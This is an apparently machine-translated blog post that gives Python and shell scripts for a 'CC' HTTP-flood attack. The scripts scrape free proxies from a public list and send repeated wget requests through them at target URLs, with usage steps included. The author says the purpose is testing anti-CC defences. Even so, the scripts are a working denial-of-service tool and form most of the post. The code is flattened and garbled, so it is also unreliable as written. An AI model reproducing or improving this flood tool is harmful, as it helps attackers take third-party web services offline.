CC (Challengecollapsar) is mainly used to attack the page. We all have this experience, that is, when visiting the forum, if the forum is larger, more people visit, the speed of the page will be slower, the more people visit, the more pages of the forum, the larger the database, the higher the frequency of access, the use of system resources is considerable.
Recently in doing some anti-CC measures, want to verify the effect of a similar CC attack, so wrote a python script to simulate the CC attack, the principle is very simple, is to go to the network to pull a slag agent, and then through the agent to access the server, the cost is low scary, but the impact is not small ... The code is as follows ( this script can only be used for communication learning, all due to the bad consequences of the script, and I have nothing to do ):
#!/usr/bin/python#-------------------------------------------------------------------------------# name: cc.py## author: liusha ## created: 1/07/2014# email: [email protected]#-------------------------------------------------------------------------------Import urllib2import reimport osimport threadingimport timeimport randomclass RUNCC (Threading. Thread): def __init__ (Self,proxy,url): threading. Thread.__init__ (self) self.thread_proxy = proxy self.thread_url = url self.thread_stop = false def run (self):  &Nbsp; while not self.thread_stop: os.system ("" "wget --ignore-length --cache=off -- No-http-keep-alive -t 1 --referer= "http://www.10086.com" -U ' mozilla/4.0 ( compatible; msie 7.0; windows nt 6.0) ' -e ' http_proxy=http://%s/' '%s ' & ""% (Self.thread_proxy,self.thread_url)) def stop (self): self.thread_stop = True def get_stock_html (URL): opener = urllib2.build_opener (        URLLIB2. Httpredirecthandler (), urllib2. HttpHandler (debuglevel=0), ) opener.addheaders = [ ( ' User-agent ', ' mozilla/4.0 (compatible; msie 7.0; ' ' windows nt 5.1; .net clr 2.0.50727; ' '. net clr 3.0.4506.2152; .net clr 3.5.30729) ') ] url = "http://proxy.com.ru/%s"%url response = opener.open (URL) return ". Join (Response.readlines ()) Def getting_url (): global cc_url file = open (' Url ', ' R ') cc_url = file.readlines () file.close () def getting_list (): global ip_port ip_port = [] for html_list in re.findall (' List_\d+.html ', get_stock_html ("list_1.html")): print " getting %s ' S ip:port '%html_list ip_port += Eval (re.sub (', ': ', '%s '%re.findall (' \d+.\d+.\d+.\d+\d+ ', get_stock_html (html_list))) def main (): global cc_dict cc_ Dict = {} for i_name in range (Len (IP_Port)): cc_dict[' thread%s '%i_name] = ' RUNCC ('%s ', R ' '%s ') '% (Ip_port[i_name], Random.choice (Cc_url)) for k,v in cc_dict.items (): k = eval (v) k.start () time.sleep (0.6) k.stop () if __name__ == ' __main__ ': getting_ URL () getting_list () main ()
How to use:
# # #url file a line a URL is not too much ###[[email protected] cc]# cat URL http://www.ipython.me/about-mehttp://www.ipython.me/## #直接运行 # # # [email protected] cc]# python cc.py
Handsome Big Brother Fei also with Shell rough write a out, code as follows:
#!/bin/sh#email: [Email protected]url=$1page_number= ' Curl http://proxy.com.ru |grep-o "list_.*html" |awk-f "'" ' {print $NF} ' |tail-1|grep-o \[0-9\]* ' for i in ' seq 1 $page _number ' Docurl http://proxy.com.ru/list_$i.html|egrep-o "[[0-9]{1,3} \. [0-9] {1,3}\. [0-9] {1,3}\. [0-9] {1,3}.*[0-9]{2,4} "|awk-f" <|> "' {print $, $NF} ' >> ip.txtdonewhile read IP portdowget-b--cache=off--igno Re-length--referer= "http://www.10086.com"-U ' mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) '-y on-e ' http_proxy=http://$ip: $port/"" $url "Done < Ip.txt
This article is from the "It Chen Yi" blog, please be sure to keep this source http://itchenyi.blog.51cto.com/4745638/1545085
Linux cc Attack script